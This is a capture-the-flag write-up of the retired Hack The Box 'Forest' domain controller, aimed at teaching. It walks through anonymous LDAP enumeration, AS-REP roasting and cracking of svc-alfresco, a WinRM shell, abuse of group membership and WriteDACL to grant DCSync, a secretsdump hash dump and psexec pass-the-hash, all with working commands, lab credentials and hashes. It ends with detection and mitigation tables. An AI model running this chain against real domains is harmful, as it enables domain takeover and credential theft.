Forest
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Windows Server 2016 — domain controller FOREST.htb.local |
| Difficulty | Easy |
| Approx. time | ~30 min |
| Chain | Anonymous LDAP → AS-REP roasting of svc-alfresco → WinRM → Account Operators → WriteDACL via Exchange Windows Permissions → DCSync → SYSTEM |
flowchart TD A["Anonymous LDAP bind"] --> B["User enumeration<br/>svc-alfresco"] B -->|GetNPUsers| C["AS-REP $krb5asrep$23$<br/>(pre-auth disabled)"] C -->|john / rockyou| D["svc-alfresco : s3rvice"] D -->|evil-winrm| E["Domain-user shell"] E -->|BloodHound| F["Account Operators<br/>→ Exchange Windows Permissions"] F -->|WriteDACL over the domain| G["DCSync to a controlled user"] G -->|secretsdump| H["Administrator NT hash"] H -->|psexec pass-the-hash| I["NT AUTHORITY\SYSTEM on the DC"]
- The DC allows anonymous LDAP binds, so we enumerate the whole directory with no credentials. Exchange is installed and a service account,
svc-alfresco, has Kerberos pre-authentication disabled. - We request its AS-REP, crack it offline (AS-REP roasting) and log in over WinRM as a domain user.
- BloodHound shows
svc-alfresconest-inherits Account Operators, which can modify non-protected groups. We add ourselves to Exchange Windows Permissions, which holds WriteDACL over the domain, grant ourselves DCSync, dumpAdministrator’s hash and pass-the-hash with psexec. No software is exploited: it’s misassigned privileges and ACLs.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see:
53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos139/tcp open netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)445/tcp open microsoft-ds Windows Server 2016 Standard 14393464/tcp open kpasswd5593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap (Global Catalog)5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)9389/tcp open mc-nmf .NET Message FramingWhat I think: DNS + Kerberos + LDAP + Global Catalog = domain controller for
htb.local. 5985 (WinRM) being open matters: if I get a domain credential, I likely get a direct shell. With no credentials, the first stop is LDAP, which on a DC often accepts anonymous binds. → Network service enumerationVentana de terminal echo "$IP htb.local forest.htb.local" | sudo tee -a /etc/hosts
2. Initial access: from anonymous to domain user
Section titled “2. Initial access: from anonymous to domain user”-
Check for an anonymous LDAP bind
What I do:
Ventana de terminal ldapsearch -x -H ldap://$IP -b "dc=htb,dc=local" | headWhat I see: the server returns the domain root object (
DC=htb,DC=local) without asking for credentials.What I think:
-xforces simple authentication and, with no user supplied, it tries an anonymous bind. Getting data back means the null bind is allowed, so I can read the whole directory with no account.Why it matters: an unauthenticated attacker gets the full list of users, groups and attributes. → Active Directory enumeration
-
Enumerate domain users
What I do: with the anonymous bind, pull the accounts.
windapsearch,ldapsearchwith anobjectClass=userfilter, ornxc ldap $IP -u '' -p '' --usersall work.Ventana de terminal nxc ldap $IP -u '' -p '' --usersWhat I see: among the accounts there are several Exchange system mailboxes, real users (
sebastien,lucinda,andy,mark,santi) and a service account:svc-alfresco.What I think: the
SystemMailbox{…}accounts and theMicrosoft Exchange Security Groupsconfirm Exchange is installed (relevant for the escalation). A service account is always a Kerberoasting / AS-REP candidate. -
AS-REP roasting of
svc-alfrescoWhat I do:
Ventana de terminal impacket-GetNPUsers htb.local/svc-alfresco -dc-ip $IP -no-passWhat I see:
[*] Getting TGT for svc-alfresco$krb5asrep$23$svc-alfresco@HTB.LOCAL:fef58ddc...<SNIP>Why it works:
svc-alfrescohasDONT_REQ_PREAUTHset, i.e. it does not require Kerberos pre-authentication. Without pre-auth the KDC hands the AS-REP to anyone who asks, and part of that response is encrypted with the user’s password hash. We take it and attack it offline — no prior credential needed. → Kerberos attacks: AS-REP roasting -
Crack the AS-REP
What I do:
Ventana de terminal john hash --wordlist=/usr/share/wordlists/rockyou.txtjohn hash --show# svc-alfresco:s3rviceWhat I see: the password is
s3rvice. The hash isetype 23(RC4), quick to crack. -
Log in over WinRM
What I do:
Ventana de terminal nxc winrm $IP -u svc-alfresco -p 's3rvice'evil-winrm -i $IP -u svc-alfresco -p 's3rvice'What I see:
nxcreports(Pwn3d!)and evil-winrm opens a shell:*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoamihtb\svc-alfrescouser.txt→abcd…wxyz(redacted), atC:\Users\svc-alfresco\Desktop\user.txt.Why it works:
svc-alfrescois a member ofRemote Management Users, the group that enables WinRM (5985) access. → Lateral movement and remote execution
3. Escalation: from domain user to Domain Admin
Section titled “3. Escalation: from domain user to Domain Admin”-
Collect the graph with BloodHound
What I do: upload the collector to the target and run it, or collect remotely with
bloodhound-python.Ventana de terminal # Remote option, without touching the target's disk:bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -ns $IP -c All --zipWhat I think: with no privileged shell and no obvious vulnerable software, AD escalation almost always lives in the ACLs and nested memberships. BloodHound is the fast way to see them. I mark
svc-alfrescoas owned and inspect its groups. → BloodHound: mapping the domain -
Read the path: Account Operators → Exchange Windows Permissions → domain
What I see:
svc-alfresconest-inherits Account Operators, and one of the paths to high-value targets shows that Exchange Windows Permissions holds WriteDACL over the domain object.What I think: it’s a two-link chain:
- Account Operators can create users and modify non-protected groups.
- Exchange Windows Permissions is not a protected group and has WriteDACL over the domain, which lets you rewrite its DACL and grant yourself DCSync.
Privilege Who holds it What it buys Modify non-protected groups Account Operators (inherited) Add myself to Exchange Windows Permissions WriteDACL over the domain Exchange Windows Permissions Grant myself DCSync rights DCSync (DS-Replication-Get-Changes*) the user I control Dump every domain hash -
Create a user and place it in the groups
What I do: from the WinRM shell, as
svc-alfresco(which has Account Operators):Ventana de terminal net user pwn Abc123! /add /domainnet group "Exchange Windows Permissions" pwn /addnet localgroup "Remote Management Users" pwn /addWhy it works: Account Operators lets me create
pwnand add it toExchange Windows Permissionsbecause that group is not protected by AdminSDHolder. I add it to Remote Management Users for convenience. -
Grant myself DCSync via the domain DACL
What I do: import PowerView and, with the new user’s credentials, assign myself replication rights.
Ventana de terminal . .\PowerView.ps1$pass = ConvertTo-SecureString 'Abc123!' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('htb\pwn', $pass)Add-DomainObjectAcl -Credential $cred -TargetIdentity 'DC=htb,DC=local' `-PrincipalIdentity pwn -Rights DCSyncWhy it works:
Exchange Windows Permissionshas WriteDACL over the domain object, so I can add an ACE granting myselfDS-Replication-Get-ChangesandDS-Replication-Get-Changes-All. Those two rights together are DCSync. → Credential dumping: DCSync -
DCSync: dump Administrator’s hash
What I do:
Ventana de terminal impacket-secretsdump htb.local/pwn:'Abc123!'@$IPWhat I see:
htb.local\Administrator:500:aad3b435...:32693b11e6aa90eb43d32c72a07ceea6:::krbtgt:502:aad3b435...:819af826bb148e603acb0f33d17632f8:::<...SNIP...>Why it works: with replication rights,
secretsdumpuses the DRSUAPI protocol (the one DCs use between themselves) to request the NTDS.DIT secrets without touching disk. We get Administrator’s NT hash. -
Pass-the-hash to SYSTEM
What I do:
Ventana de terminal nxc smb $IP -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6impacket-psexec administrator@$IP -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6What I see:
C:\Windows\system32> whoamint authority\systemWhy it works: NTLM doesn’t need the cleartext password: the NT hash is enough to authenticate. psexec uploads a service to
ADMIN$and starts it as SYSTEM. Stealthier:wmiexec(runs as the user, no new service) orevil-winrmwith-H. → impacket’s -exec toolsroot.txt→abcd…wxyz(redacted), atC:\Users\Administrator\Desktop\root.txt.
Progressive hints
Section titled “Progressive hints”It’s a DC and you have no credentials. Which directory service often accepts unauthenticated connections?
You have the user list. A service account may not require Kerberos pre-authentication. Which attack goes with that?
You already have a user shell. The escalation is not an exploit: it’s in the nested group memberships. Look at which privileged group you inherit.
Which Exchange-related group has write permissions over the domain object? What can you grant yourself with that?
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
Kerberoasting (GetUserSPNs) |
No interesting user SPNs | The path was AS-REP, not Kerberoasting |
| SMB shares with a null session | Only the default ones, no loot | No credentials in shares |
| Local privesc on the host (SeImpersonate, services) | Unnecessary | The domain path (ACLs) gave DA directly |
Methodology takeaways
Section titled “Methodology takeaways”- DC with no credentials → try an anonymous LDAP bind (
ldapsearch -x) first: if it works, you have the whole directory. - User list → AS-REP roast immediately (
GetNPUsers … -no-pass). Seconds of work, no credential needed. - First domain shell → BloodHound, always. AD escalation usually lives in ACLs and nested groups, not in an exploit.
- Account Operators is deceptive: it looks harmless but can add accounts to non-protected groups with dangerous permissions (here, Exchange Windows Permissions with WriteDACL).
- WriteDACL over the domain = DCSync. Learn the chain: any principal with WriteDACL over the domain object can grant itself replication rights.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| Anonymous LDAP bind | Hard to tell from legitimate traffic; audit anonymous binds and query volume | Disable anonymous binds (dsHeuristics); require LDAP signing / channel binding |
| AS-REP roasting | Event 4768 with Ticket Encryption Type 0x17 (RC4) and pre-auth not required |
Remove DONT_REQ_PREAUTH; long passwords on service accounts; enforce AES |
Group changes (net group) |
Events 4728/4732 (member added to group), especially sensitive groups | Protect Exchange Windows Permissions with AdminSDHolder; review who inherits Account Operators |
| Domain DACL modification | Event 5136 (directory object attribute change) on the domain object | Monitor replication ACEs; audit WriteDACL over the domain |
| DCSync | Event 4662 with the DS-Replication-Get-Changes* GUIDs from a non-DC host |
Restrict replication rights to DCs only; alert on DRSUAPI off the DCs |
| PsExec pass-the-hash | Event 7045 (new service), 4624 type 3 from admin on an unusual host | Admin tiering; LAPS; restrict ADMIN$; EDR |
References
Section titled “References”- Microsoft — Account Operators (default AD groups): https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups
- Microsoft — DS-Replication-Get-Changes (extended access control): https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes
- The Hacker Recipes — AS-REP roasting: https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- The Hacker Recipes — DCSync: https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync